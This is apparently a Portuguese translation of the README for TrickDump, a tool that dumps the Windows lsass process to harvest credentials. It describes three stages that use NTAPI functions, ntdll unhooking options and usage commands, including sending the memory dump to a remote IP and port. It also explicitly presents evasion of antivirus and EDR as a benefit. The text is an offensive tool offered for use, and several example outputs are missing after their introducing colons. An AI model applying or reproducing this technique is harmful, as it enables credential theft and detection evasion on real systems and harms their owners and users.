
Despejar lsass usando apenas funções NTAPI criando 3 arquivos JSON e 1 ZIP... e gerar o arquivo MiniDump depois!
O TrickDump despeja o processo lsass sem criar um arquivo Minidump, gerando em vez disso 3 arquivos JSON e 1 arquivo ZIP com os despejos das regiões de memória. Em três etapas:
Lock: Obtém informações do SO usando RtlGetVersion.
Shock: Obtém o privilégio SeDebugPrivilege com NtOpenProcessToken e NtAdjustPrivilegeToken, abre um handle com NtGetNextProcess e NtQueryInformationProcess e depois obtém informações dos módulos usando NtQueryInformationProcess e NtReadVirtualMemory.
Barrel: Obtém o privilégio SeDebugPrivilege, abre um handle e depois obtém informações e despeja regiões de memória usando NtQueryVirtualMemory e NtReadVirtualMemory.

No sistema atacante, use o script create_dump.py para gerar o arquivo Minidump:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
Os benefícios desta técnica são:
Nunca há um arquivo Minidump válido em disco, memória ou no tráfego de rede.
Não há um único programa ou processo executando todo o ataque, mas três separados, o que pode levantar menos bandeiras.
Os programas usam apenas NTAPIS (este projeto é uma variante do NativeDump).
Não usa OpenProcess ou NtOpenProcess para obter o handle do processo lsass com os direitos de acesso PROCESS_VM_OPERATION e PROCESS_VM_WRITE.
Cada programa permite sobrescrever a seção ".text" da biblioteca ntdll.dll para contornar o hooking de API:
Está disponível em diferentes linguagens:
Não funcionará se o PPL estiver ativado, a estrutura PEB estiver ilegível ou os binários não forem compilados como 64 bits. Atualização: Agora é possível executar os programas sem ler o PEB, confira o branch peb-unreadable :)
A técnica funciona bem nas versões mais recentes do Windows e foi testada contra soluções comuns de AV e EDR, mas a furtividade dependerá da "variante" que você escolher: use linguagens incomuns e personalize os binários para obter os melhores resultados!
Os programas são executados no sistema vítima, criando três arquivos JSON (com informações das regiões de memória) e um arquivo zip (com cada despejo de região de memória).
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
Você pode executar os programas diretamente sem sobrescrever a biblioteca ntdll.dll:

Ou usar uma das três técnicas de sobrescrita diferentes:

Em seguida, o arquivo Minidump é gerado:

Se preferir executar apenas um binário, o Trick.exe gera um arquivo ZIP contendo os 3 arquivos JSON e o arquivo ZIP com as regiões de memória:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
Você pode criar o arquivo ZIP localmente, opcionalmente usando um método de sobrescrita do Ntdll:

Ou enviá-lo para uma porta remota usando o segundo e terceiro parâmetros como endereço IP e porta:

Em ambos os casos, você obtém um arquivo ZIP como este, descompacte e crie o arquivo Minidump:
